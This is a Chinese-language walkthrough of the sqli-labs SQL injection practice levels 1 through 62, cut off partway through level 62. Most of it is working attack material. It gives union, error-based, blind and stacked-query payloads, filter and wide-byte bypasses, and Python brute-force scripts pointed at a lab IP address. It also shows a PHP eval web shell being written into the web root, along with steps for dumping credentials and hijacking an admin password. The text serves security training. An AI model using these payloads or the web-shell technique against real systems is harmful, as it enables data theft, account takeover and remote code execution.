Less-1

?id=1' 单引号报错,存在注入

?id=1' order by 4 %23'报错,存在三列

?id=-1' union select 1,2,3%23 发现2和3的位置可以回显,于是进行注入

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 %23
得到当前库下所有表名

?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3%23
得到users表下的所有列名

?id=-1' union select 1,(select group_concat(username) from users),(select group_concat(password) from users)%23
得到所有的username和password
在这里插入图片描述

Less-2

less-1用单引号闭合了,而这里的id是整型,其他的注入方法与less-1相同。

最终payload:
?id=-1 union select 1,(select group_concat(username) from users),(select group_concat(password) from users)%23


Less-3

区别是这里用')进行闭合

最终payload:
?id=-1') union select 1,(select group_concat(username) from users),(select group_concat(password) from users)%23

Less-4

区别是这里用")进行闭合

最终payload:
?id=-1") union select 1,(select group_concat(username) from users),(select group_concat(password) from users)%23


Less-5

发现有回显”You are in………..”和不回显两种情况

1
2
?id=1' and 1=1%23   You are in...........
?id=1' and 1=2%23 不回显

判断为盲注,这里可以直接用sqlmap跑出来,但为了学习,还是自己写个脚本吧!

脚本如下,只跑了一下库名,其他的类似,改一下payload即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# bool-base script
# auther:Lethe

import requests
s = requests.Session()
url = 'http://43.247.91.228:84/Less-5/'
payloads = 'QqWwEeRrTtYyUuIiOoPpAaSsDdFfGgHhJjKkLlZzXxCcVvBbNnMm{},_'
data = ''

for i in range(50):
for j in payloads:
# payload = f"?id=1' and substr(binary database(),{i},1)='{j}'%23"
# payload = f"?id=1' and substr((select binary group_concat(table_name) from information_schema.tables where table_schema=database()) ,{i},1)='{j}'%23"
payload = f"?id=1' and substr((select binary group_concat(column_name) from information_schema.columns where table_name='users') ,{i},1)='{j}'%23"
if "You are in..........." in s.get(url+payload).text:
data += j
break
print(data)

Less-6

同样是bool盲注,双引号报错,判断为双引号闭合,将less-5的脚本中payload的单引号改为双引号即可。

Less-7

测试发现id=1'报错,但把后面的语句注释掉扔报错,还有括号闭合,发现加两个括号判断为(('$id'))闭合。
根据提示Use outfile……,应该是具有导出什么的了。

(1)首先判断是否有权限:
?id=1')) and (select count(*) from mysql.user)>0--+
没有报错,具有root权限。
(2)于是将数据导出:
?id=-1')) union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) into outfile "E:\\CTF\\less-7\\table.txt"--+
导出所有表

?id=-1')) union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users') into outfile "E:\\CTF\\less-7\\column.txt"--+
导出user表中所有列名

?id=-1')) union select 1,2,(select group_concat(username,password) from users) into outfile "E:\\CTF\\less-7\\data.txt"--+
导出用户名和密码

注意:在Mysql中,需要注意路径转义的问题,即用\\分隔。

另一种也可以向根目录下写入一句话木马,再用菜刀连接:
?id=-1')) union select 1,2,'<?php eval($_POST["cmd"]);?>' into outfile "D:\\PHPWAMP_IN3\\wwwroot\\sqli-labs-master\\Less-7\\shell.php"--+
在这里插入图片描述

Less-8

单引号闭合的盲注,用less-5的脚本跑一下即可。

Less-9

发现页面无论对错都只回显You are in...........

测试?id=1' and sleep(3)%23 页面会延时3秒再回显,判断为时间盲注

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# less-9 time-base script
# auther:Lethe

import requests

url = 'http://43.247.91.228:84/Less-9/'

payloads = 'QqWwEeRrTtYyUuIiOoPpAaSsDdFfGgHhJjKkLlZzXxCcVvBbNnMm{},_'

data = ''

for i in range(50):
for j in payloads:
# payload = f"?id=1' and if((substr(binary database(),{i},1)='{j}'),sleep(2),1)%23"
# payload = f"?id=1' and if((substr((select binary group_concat(table_name) from information_schema.tables where table_schema=database()) ,{i},1)='{j}'),sleep(2),1)%23"
payload = f"?id=1' and if((substr((select binary group_concat(column_name) from information_schema.columns where table_name='users') ,{i},1)='{j}'),sleep(2),1)%23"
try:
r = requests.get(url+payload, timeout=1)
except Exception:
data += j
print(data)
break

Less-10

双引号闭合的时间盲注。

稍微改一下less-9的脚本即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# less-10 script
# auther:Lethe

import requests

url = 'http://43.247.91.228:84/Less-10/'

payloads = 'QqWwEeRrTtYyUuIiOoPpAaSsDdFfGgHhJjKkLlZzXxCcVvBbNnMm{},_'

data = ''

for i in range(50):
for j in payloads:
# payload = f"?id=1\" and if((substr(binary database(),{i},1)='{j}'),sleep(2),1)%23"
# payload = f"?id=1\" and if((substr((select binary group_concat(table_name) from information_schema.tables where table_schema=database()) ,{i},1)='{j}'),sleep(2),1)%23"
payload = f"?id=1\" and if((substr((select binary group_concat(column_name) from information_schema.columns where table_name='users') ,{i},1)='{j}'),sleep(2),1)%23"
try:
r = requests.get(url+payload, timeout=1)
except Exception:
data += j
print(data)
break

Less-11

是一个登录框,后端语句为:

1
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

所有构造万能密码即可:
即Username为1' or 1=1#,Password为任意值。

因为这里是Post方式传到后端,因此注释符只能用#

Less-12

与上题的区别是这里用("$uname")进行闭合

因此构造Username为1") or 1=1#

Less-13

闭合方式为:('$uname')

因此构造Username为1') or 1=1#

Less-14

闭合方式为:"$uname"

因此构造Username为1" or 1=1#

Less-15

字符型POST盲注

构造1' or 1=1#即可登陆

要想通过这个注入出数据,可以写个脚本,但这里回显的语句是图片,不好进行bool盲注,于是考虑时间盲注。

发现构造:1' or sleep(3)#页面会进行延时,所以脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# less-15
# auther:Lethe

import requests

url = 'http://43.247.91.228:84/Less-15/'

payloads = 'QqWwEeRrTtYyUuIiOoPpAaSsDdFfGgHhJjKkLlZzXxCcVvBbNnMm{},_'

data = ''

for i in range(50):
for j in payloads:
# payload = {'uname':f"1' or if((substr(binary database(),{i},1)='{j}') ,sleep(2),1)# " ,'passwd':'lethe','submit':'Submit'}
# payload = {'uname':f"1' or if((substr((select binary group_concat(table_name) from information_schema.tables where table_schema=database()) ,{i},1)='{j}'),sleep(2),1)# " ,'passwd':'lethe','submit':'Submit'}
payload = {'uname':f"1' or if((substr((select binary group_concat(column_name) from information_schema.columns where table_name='users') ,{i},1)='{j}'),sleep(2),1)# " ,'passwd':'lethe','submit':'Submit'}
try:
r = requests.post(url, data=payload, timeout=1)
except Exception:
data += j
print(data)
break

Less-16

将less-15中的闭合方式改为("$uname")即可,其他都一样。


Less-17

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}

// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}

// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}

else
{
$value = intval($value);
}
return $value;
}

这里用check_input函数对username的值进行了过滤,而对password没有限制,因此考虑构造password。
可利用只有Update语句:

1
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";

所以利用报错注入,可以参考这篇文章:Mysql报错注入总结

主要的分为三种方法:

  • BIGINT等数据类型溢出

    1
    2
    mysql> select (select(!x-~0)from(select(select user())x)a);
    ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not('root@localhost')) - ~(0))'

    在mysql>5.5.53时,则不能返回查询结果

  • xpath语法错误

    1
    2
    3
    4
    5
    mysql> select updatexml(1,concat(0x7e,(select @@version),0x7e),1);
    ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'

    mysql> select extractvalue(1,concat(0x7e,(select @@version),0x7e));
    ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'

    在这里插入图片描述

  • concat+rand()+group_by()导致主键重复(floor()报错注入)

1
2
3
4
5
6
7
8
mysql> select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2));
ERROR 1062 (23000): Duplicate entry '5.5.54-log1' for key 'group_key'

mysql> select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;
ERROR 1062 (23000): Duplicate entry '5.5.54-log1' for key 'group_key'

mysql> select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a;
ERROR 1062 (23000): Duplicate entry '5.5.54-log1' for key 'group_key'

在这里插入图片描述
这题我采用extractvalue报错,payload如下:

1
2
3
4
5
6
7
8
9
10
11
User Name: admin
New Password : 1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))#
回显:XPATH syntax error: '~emails,referers,uagents,users~'

User Name: admin
New Password : 1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e))#
回显:XPATH syntax error: '~id,username,password~'

User Name: admin
New Password : 1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e))#
回显:XPATH syntax error: '~id,username,password~'

接下来,当想要注出user表中的数据时,会报错:You can't specify target table 'users' for update in FROM clause,因为在同一语句中,不能先select出同一表中的某些值,再update这个表。

所以要通过子查询,使select的表更换一个名称。
payload:

1
2
3
4
5
6
User Name: admin
New Password : 1' and extractvalue(1,concat(0x7e,( select * from ( select group_concat(username,password) from users )a),0x7e))#
回显:XPATH syntax error: '~id,username,password~'

发现报错的信息字数有限,因此想要获得全部数据的化可以通过limit语句一条条的读:
1' and extractvalue(1,concat(0x7e,( select * from ( select concat_ws(':',username,password) from users limit 0,1)a),0x7e))#

Less-18

进入页面发现会显示Your IP ADDRESS is: xxx.xxx.xxx.xxx,再根据名字判断应该是HTTP首部注入,注入的字段可能是X-Forward-For之类的地方,但登陆后会回显User-Agent的内容,这里是通过User-Agent进行注入。

同样是报错注入:
先尝试:
在这里插入图片描述
由报错信息可以推测后台Insert语句····VALUES ('$uagent', '$IP', $uname)

因此构造payload:
1' and extractvalue(1,concat(0x7e,(select database()),0x7e)),'','')#
在这里插入图片描述
最终payload:(通过改变limit语句逐条注出数据)
1' and extractvalue(1,concat(0x7e,( select * from ( select concat_ws(':',username,password) from users limit 0,1)a),0x7e)),'','')#
在这里插入图片描述


Less-19

同样登陆后回显Referer的内容,应该是通过http首部的Referer字段进行注入。

先判断后台Insert语句:
在这里插入图片描述大致为:···VALUES ('$uagent', '$IP')

于是payload:
1' and updatexml(1,concat(0x7e,(select * from ( select concat_ws(':',username,password) from users limit 0,1)a),0x7e),1),'')#

Less-20

同样是http首部注入,这里是通过Cookie注入,大体流程和前面差不多。

payload:
uname=1' and updatexml(1,concat(0x7e,(select * from ( select concat_ws(':',username,password) from users limit 0,1)a),0x7e),1)#

设置Cookie的值为此即可
在这里插入图片描述

Less-21

这一关和less-20的区别就是对Cookie的uname进行了一下base64的编码,同时用('')进行的闭合。

所以payload:
uname=1') and updatexml(1,concat(0x7e,(select * from ( select concat_ws(':',username,password) from users limit 0,1)a),0x7e),1)#

base64一下得到:
uname=MScpIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0ICogZnJvbSAoIHNlbGVjdCBjb25jYXRfd3MoJzonLHVzZXJuYW1lLHBhc3N3b3JkKSBmcm9tIHVzZXJzIGxpbWl0IDAsMSlhKSwweDdlKSwxKSM=
将Cookie设为base64后的payload
在这里插入图片描述

Less-22

与less-21的区别是这里用了"进行闭合,其他都一样。

payload:
uname=MSIgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLChzZWxlY3QgKiBmcm9tICggc2VsZWN0IGNvbmNhdF93cygnOicsdXNlcm5hbWUscGFzc3dvcmQpIGZyb20gdXNlcnMgbGltaXQgMCwxKWEpLDB4N2UpLDEpIw==


Less-23

单引号闭合且过滤了注释符#--

因此使用union注入时,要构造sql语句闭合前后的单引号。

payload:(注意最后有个单引号用来闭合)
?id=-1' union select 1,(select group_concat(username) from users),(select group_concat(password) from users)'


Less-24

根据名字,是一道二次注入的题目,二次注入的题一般都要通过代码审计找出可控点,否则很难注入。

那就进行代码审计,整个代码逻辑比较简单:注册 => 登陆(登陆时login.php会设置Session)=> 登陆后可以修改密码

重点关注一下操作数据库的部分,发现只有一个地方的变量在拼接到sql语句中时没有用mysql_real_escape_string()函数进行过滤,在pass_change.php中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
if (isset($_POST['submit']))
{
# Validating the user input........
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);

if($pass==$re_pass)
{
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_affected_rows();
echo '<font size="3" color="#FFFF00">';
echo '<center>';
if($row==1)
{
echo "Password successfully updated";

}
else
{
header('Location: failed.php');
//echo 'You tried to be smart, Try harder!!!! :( ';
}
}
else
{
echo '<font size="5" color="#FFFF00"><center>';
echo "Make sure New Password and Retype Password fields have same value";
header('refresh:2, url=index.php');
}
}

即上述代码中的$username在用Update语句进行修改密码时,直接从Session中获取了,没有进行任何过滤。

那么我们再来看看整个$_SESSION["username"]是如何定义的,在login.php中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
function sqllogin(){

$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
//$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'";
$res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');
$row = mysql_fetch_row($res);
//print_r($row) ;
if ($row[1]) {
return $row[1];
} else {
return 0;
}

}

$login = sqllogin();
if (!$login== 0)
{
$_SESSION["username"] = $login;
setcookie("Auth", 1, time()+3600); /* expire in 15 Minutes */
header('Location: logged-in.php');
}
......

可以看到$_SESSION["username"]是在登陆成功时直接从数据库中取出用户名,没有进行过滤,而这个用户名我们在注册新用户的时候是可控的,这样就找到了可控变量,注入思路也就清楚了0。
也就是说虽然在注册的时候构造的payload被过滤了没有办法注入,但是依旧会存到数据库里,当你直接取出并拼接到另一个sql语句时就造成了二次注入。

注入过程:

注册一个用户名为admin'#的用户,并登陆。

这样在修改密码时,拼接过后的Update语句就为:
UPDATE users SET PASSWORD='$pass' where username=' admin'# ' and password='$curr_pass'

也就可以修改admin用户的密码了。


Less-25

单引号闭合,过滤了orand&&

1
2
3
4
5
6
7
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)

return $id;
}

可以采用双写绕过。

payload:(注意informationpassword里也有or,需要双写)

?id=-1' union select 1,(select group_concat(column_name) from infoorrmation_schema.columns where table_name='users'),3--+

?id=-1' union select 1,(select group_concat(username) from users),(select group_concat(passwoorrd) from users)--+

Less-25a

过滤和绕过方式同less-25,区别是不需要单引号闭合了。

payload:
?id=-1 union select 1,(select group_concat(username) from users),(select group_concat(passwoorrd) from users)--+

Less-26

过滤了or,and,-,#,&&,空格、内联注释符(/**/)

  • 本来/**/可以用来绕过空格,但这里被过滤了,所以用%a0绕过
  • orand依旧用双写绕过,
  • 所有注释符都被过滤了,所以考虑闭合单引号而不是注释

payload:
?id=0'%a0union%a0select%a01,(select%a0group_concat(passwoorrd)%a0from%a0users),'3

Less-26a

和上题一样,只不过是用('$id')闭合

payload:
?id=0')%a0union%a0select%a01,(select%a0group_concat(passwoorrd)%a0from%a0users),('3

Less-27

在前面的基础上,少过滤了orand,多过滤了union或UNIONselect或UNION,这里union可以用双写或大小写绕过,而select只能用大小写绕过,应该是过滤时使用了全局匹配。

payload:
?id=0'%a0uNIon%a0seLEct%a01,(seLEct%a0group_concat(password)%a0from%a0users),'3

Less-27a

双引号闭合,其他和less-27一样。

?id=0"%a0uNIon%a0seLEct%a01,(seLEct%a0group_concat(password)%a0from%a0users),"3

Less-28

('$id')闭合,其他和less-27一样。

payload:
?id=0')%a0uNIon%a0seLEct%a01,(seLEct%a0group_concat(password)%a0from%a0users),('3

Less-28a

和less-28一模一样…

payload:
?id=0')%a0uNIon%a0seLEct%a01,(seLEct%a0group_concat(password)%a0from%a0users),('3

Less-29

Less 29 - Less 31这三关实际上是两层服务器架构,在做这三关之前需要把 Tomcat 为引擎的 jsp 服务器搭好。
参考:MySQL注入天书

重点:对于index.php?id=1&id=2该如何解析呢?实际上apache(php)解析最后一个参数,即显示id=2的内容,而Tomcat(jsp)解析第一个参数,即显示id=1的内容

整个逻辑大概就是,获取url中查询的部分,第一个id的值经过java_implimentation()处理看是否符合whitelist()函数的过滤要求,若不符合就检测出攻击,否则就把第二个id的值拼接到sql语句中进行查询。

那我们分别看看这两个函数:

  • whitelist()比较简单,就是要求传入的参数必须是一位以上的数字

  • java_implimentation()则将传入的参数以&为分隔符分为两部分,然后进行遍历,若前两个字符为id则返回后面3到30个字符。

因此构造payload:
?id=123&id=-1' union select 1,(select group_concat(username) from users),(select group_concat(password) from users)--+

Less-30

同上,不过是双引号闭合。

payload:
?id=123&id=-1" union select 1,(select group_concat(username) from users),(select group_concat(password) from users)--+

Less-31

同上,不过是("$id")闭合。

payload:
?id=123&id=-1") union select 1,(select group_concat(username) from users),(select group_concat(password) from users)--+

Less-32

这一关将payload中的单引号前面加上了\进行过滤,想到宽字节注入,即利用gbk编码%df+%5c(\) 组合出了一个 字。

注意,这里除了闭合的时候需要考虑绕过单引号,在注入出列名的时候,也需要用到单引号,但这里就不能用%df绕过了,如下面payload中的表名users

?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+

这里可以用16进制绕过,即用user的16进制0x7573657273代替它,表名为16进制时不需要再用引号了。

payload:
?id=-1%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),3--+

?id=-1%df' union select 1,(select group_concat(username) from users),(select group_concat(password) from users)--+


Less-33

与less-32一样…

payload:
?id=-1%df' union select 1,(select group_concat(username) from users),(select group_concat(password) from users)--+

Less-34

这关的过滤方式和前面一样,考虑宽字节注入,但是POST传入数据时不会进行URL编码,因此这里采用将utf8单引号转为utf-16/utf-32编码绕过,即将'转为utf-16为 �'

payload:

1
2
3
万能密码:
Username: 1�' or 1=1#
Password: 任意

Less-35

GET型宽字解注入,但区别是这里是数字型,不需要用单引号闭合了,其他的和less-32一样,16进制绕过一下表名即可。

payload:
?id=-1 union select 1,(select group_concat(username) from users),(select group_concat(password) from users)--+

Less-36

好像和less-32一样..

payload:
?id=-1%df' union select 1,(select group_concat(username) from users),(select group_concat(password) from users)--+


Less-37

好像和less-34一样…

payload:

1
2
3
万能密码:
Username: 1�' or 1=1#
Password: 任意

Less-38

堆叠注入,可以执行多条语句,用分号间隔,可参考:https://www.cnblogs.com/lcamry/p/5762905.html

堆叠注入优点是可以执行的语句更加灵活,如Create、Delete、Update、Insert、Drop….,但代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。

如执行如下payload:
?id=1';create table Lethe like users--+
执行完后页面没有变,但是查询表时可以发现多出了lethe表:
在这里插入图片描述

再将这个表删除:?id=1';drop table Lethe--+
在这里插入图片描述
发现Lethe表已被删除。

同样,我也可以在它的user表中插入我们自己的一条信息:
?id=1';insert into users(id,username,password) values('20','Lethe','Lethe')--+

Less-39

和less-38一样,只不过这里是数字型,无需闭合。

?id=1;insert into users(id,username,password) values('20','Lethe','Lethe')--+

Less-40

和前面两关的区别是这里用('$id')闭合

?id=1');insert into users(id,username,password) values('20','Lethe','Lethe')--+

Less-41

和less-39一样,?id=1?id=2-1返回相同结果,数字型注入。

?id=1;insert into users(id,username,password) values('20','Lethe','Lethe')--+

Less-42

进入页面是一个登陆窗口,发现注册不了,提示要我们hack掉它,根据前面,判断应该是用堆叠注入插入一个用户到数据库中,来进行登陆。

但这里对Usernmae进行了过滤,因此利用Password来进行堆叠注入。

payload:

1
2
Username:任意
Password:1';insert into users(id,username,password) values('20','Lethe','Lethe')#

先利用payload尝试登陆,虽然显示登陆失败,但实际上堆叠注入的语句已经执行,然后再用账户密码均为Lethe的账户进行登陆,发现可以登陆成功。
在这里插入图片描述

如果还希望越权的话,原理参考less-24,构造1';insert into users(id,username,password) values("25","admin'#","123")#,这样就插入可用户名为admin'#,密码为123的用户,登陆此账号:
在这里插入图片描述
然后用此账号进行修改密码,实际上修改了用户admin的密码。

Less-43

与less-42一样,区别是这里用('$password')闭合。

payload:

1
2
Username:任意
Password:1');insert into users(id,username,password) values('20','Lethe','Lethe')#

Less-44

好像和less-42一样…

payload:

1
2
Username:任意
Password:1';insert into users(id,username,password) values('20','Lethe','Lethe')#

Less-45

好像和less-43一样…

payload:

1
2
Username:任意
Password:1');insert into users(id,username,password) values('20','Lethe','Lethe')#

Less-46

order by注入,?id=1 desc?id=1 asc返回的数据有区别说明可以进行注入。

  • 这一关会回显错误,因此可以采用报错注入。
  • 除此之外,rand(true)rand(false)返回的结果也不一样,可以利用这一点进行布尔盲注。
  • 还有一种盲注的方法,即类似?sort=id ^(select(select version()) regexp '^5'),原理就是就是在regexp正则匹配的时候,如果匹配到数据返回1(00000001)的时候,此时的1会和id中的数据的二进制进行异或,按照异或的结果进行升序排列,所以显示的排列会发生变化;反之当进行正则匹配的时候,未匹配到数据返回0(00000000),此时数字和0异或的结果还是本身,所以显示的排列不会发生改变,所以可以布尔盲注,逐个猜解数据,当页面排序紊乱时则说明匹配正确,页面排序未发生紊乱时则说明匹配错误。
  • 也可以通过类似?sort=1 and (if((ascii(substr((select database() limit 0,1),1,1))=115),sleep(5),1))–+进行时间盲注
  • 导入导出文件into outfile参数也可以

这里采用报错注入,payload:(报错字数有限,可修改limit的值逐条读出数据)
?sort=1 and extractvalue(1,concat(0x7e,( select concat_ws(':',username,password) from users limit 0,1),0x7e))


Less-47

单引号闭合sort,其他的与上一关一样。

payload:
?sort=1' and extractvalue(1,concat(0x7e,( select concat_ws(':',username,password) from users limit 0,1),0x7e))--+

Less-48

这一关原理同less-46,但是不会回显报错信息,所以不能使用报错注入。

采用时间盲注,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# less-48
# auther:Lethe

import requests

url = 'http://43.247.91.228:84/Less-48/'

payloads = 'QqWwEeRrTtYyUuIiOoPpAaSsDdFfGgHhJjKkLlZzXxCcVvBbNnMm{},_'

data = ''

for i in range(50):
for j in payloads:
# payload = f"?sort=1 and if((substr(binary database(),{i},1)='{j}'),sleep(3),1)"
# payload = f"?sort=1 and if((substr((select binary group_concat(table_name) from information_schema.tables where table_schema=database()) ,{i},1)='{j}'),sleep(3),1)"
payload = f"?sort=1 and if((substr((select binary group_concat(column_name) from information_schema.columns where table_name='users') ,{i},1)='{j}'),sleep(3),1)"
try:
r = requests.get(url+payload, timeout=1)
except Exception:
data += j
print(data)
break

Less-49

同less-47单引号闭合,但是不能回显报错信息,所以还是采用时间盲注,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# less-49
# auther:Lethe

import requests

url = 'http://43.247.91.228:84/Less-49/'

payloads = 'QqWwEeRrTtYyUuIiOoPpAaSsDdFfGgHhJjKkLlZzXxCcVvBbNnMm{},_'

data = ''

for i in range(50):
for j in payloads:
# payload = f"?sort=1' and if((substr(binary database(),{i},1)='{j}'),sleep(3),1)--+"
# payload = f"?sort=1' and if((substr((select binary group_concat(table_name) from information_schema.tables where table_schema=database()) ,{i},1)='{j}'),sleep(3),1)--+"
payload = f"?sort=1' and if((substr((select binary group_concat(column_name) from information_schema.columns where table_name='users') ,{i},1)='{j}'),sleep(3),1)--+"
try:
r = requests.get(url+payload, timeout=1)
except Exception:
data += j
print(data)
break

Less-50

这一关是order by与堆叠注入结合,数字型,无闭合。

payload:
?sort=1;insert into users(id,username,password) values('20','lethe','lethe')--+

执行完上面payload后再?sort=1可以看到多出来一行数据
在这里插入图片描述

Less-51

与上一关的区别是这里用单引号进行了闭合。

payload:
?sort=1';insert into users(id,username,password) values('20','lethe','lethe')--+

Less-52

和less-50一样,只是不会回显错误,堆叠注入方式相同。

payload:
?sort=1;insert into users(id,username,password) values('20','lethe','lethe')--+

Less-53

和less-51一样,只是不会回显错误,堆叠注入方式相同。

payload:
?sort=1';insert into users(id,username,password) values('20','lethe','lethe')--+

Less-54

限制了只能在10次请求以内完成注入,且每次重置会生成随机的表名、列名和数据。

payload:
?id=1'

?id=1'--+

?id=1' order by 3--+

?id=1' order by 4--+

?id=-1' union select 1,2,3--+

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
得到表名3UXZWY1KY9

?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='3UXZWY1KY9'),3--+
得到四个列名id,sessid,secret_7RZ7,tryy

?id=-1' union select 1,(select group_concat(secret_7RZ7) from 3UXZWY1KY9),3--+
得到数据VWKFpeoXofNsCqqxcfWGM9x7,并提交

Less-55

这里比上一关多给了四次机会,得先花不少次猜测闭合方式,按照前面提到的顺序,先猜单双引号和单独括号,然后在单双引号后逐个添加括号,一般最多两个括号,若有报错信息同时要关注报错的信息来进行判断。

本关闭合方式为:($id)知道了闭合方式后其他的和上一关就一样了。

payload:

······

?id=-1) union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
得到表名P6BV60ROT2

?id=-1) union select 1,(select group_concat(column_name) from information_schema.columns where table_name='P6BV60ROT2'),3--+
得到四个列名id,sessid,secret_EWSR,tryy

?id=-1) union select 1,(select group_concat(secret_EWSR) from P6BV60ROT2),3--+
得到数据Pwh5inh7TxaAV10IZRCc26MW

Less-56

闭合方式为:('$id'),其他的和上面一样。

payload:

······

?id=-1') union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
得到表名QS5C6XI6F0

?id=-1') union select 1,(select group_concat(column_name) from information_schema.columns where table_name='QS5C6XI6F0'),3--+
得到四个列名id,sessid,secret_PYBQ,tryy

?id=-1') union select 1,(select group_concat(secret_PYBQ) from QS5C6XI6F0),3--+
得到数据bHnjS8Y6KtGQDTihKBCDG7sU

Less-57

闭合方式为:"$id",其他的和上面一样。

payload:

······

?id=-1" union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
得到表名9ODZ61QBP1

?id=-1" union select 1,(select group_concat(column_name) from information_schema.columns where table_name='9ODZ61QBP1'),3--+
得到四个列名id,sessid,secret_Z0TV,tryy

?id=-1" union select 1,(select group_concat(secret_Z0TV) from 9ODZ61QBP1 ),3--+
得到数据0MNZ3yAJ3N0XuSZIlYhrGbcj

Less-58

单引号闭合,但是只有五次机会。

但是尝试?id=-1' union select 1,2,3--+时发现页面无法回显sql语句的结果,所以前面几关的方法不能用了,但是页面会回显错误信息,所以考虑报错注入。

payload:

?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+
得到表名AK0HRXW75I

?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='AK0HRXW75I'),0x7e))--+
得到四个列名id,sessid,secret_RPHD,tryy

?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(secret_RPHD) from AK0HRXW75I),0x7e))--+
得到数据7wEINBWYdYvusRUrsV9bidFL


Less-59

这一关为数字型,未进行闭合,其他的与less-58相同。

payload:

?id=-1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+
得到表名NTGAY0ES0F

?id=-1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='NTGAY0ES0F'),0x7e))--+
得到四个列名id,sessid,secret_9Y69,tryy

?id=-1 and extractvalue(1,concat(0x7e,(select group_concat(secret_9Y69) from NTGAY0ES0F),0x7e))--+
得到数据UpD0J8a6Q7RFjeMejjCujser


Less-60

经测试,闭合方式为:("$id"),其他与前两关相同。

payload:

?id=-1") and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+
得到表名HJ31CD4SZJ

?id=-1") and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='HJ31CD4SZJ'),0x7e))--+
得到四个列名id,sessid,secret_L5OI,tryy

?id=-1") and extractvalue(1,concat(0x7e,(select group_concat(secret_L5OI) from HJ31CD4SZJ),0x7e))--+
得到数据RbCnjPhpQjy7psK1DXG1IL78


Less-61

经测试,闭合方式为:(('$id')),其他与前两关相同。

payload:

?id=-1')) and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+
得到表名S0EAHB4X1I

?id=-1')) and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='S0EAHB4X1I'),0x7e))--+
得到四个列名id,sessid,secret_5AJ4,tryy

?id=-1')) and extractvalue(1,concat(0x7e,(select group_concat(secret_5AJ4) from S0EAHB4X1I),0x7e))--+
得到数据5SIpSyz03MhX52krjGbqHot7


Less-62

经测试,闭合方式为:('$id'),这一关既不回显sql语句结果,也不回显错误信息,那就只能盲注了,要求是130次请求以内完成盲注。

下面关键就是如何减少请求的次数了…

那么首先,如果能知道跑出的数据,长度为多少肯定是最好的,就没必要进行多余的爆破了…

  • 前面几关可以发现随机的表名长度是固定的(长度为10),这里也可以手工测试或写个脚本跑一下,这一阶段只是为了知道长度,之后可以进行重置。
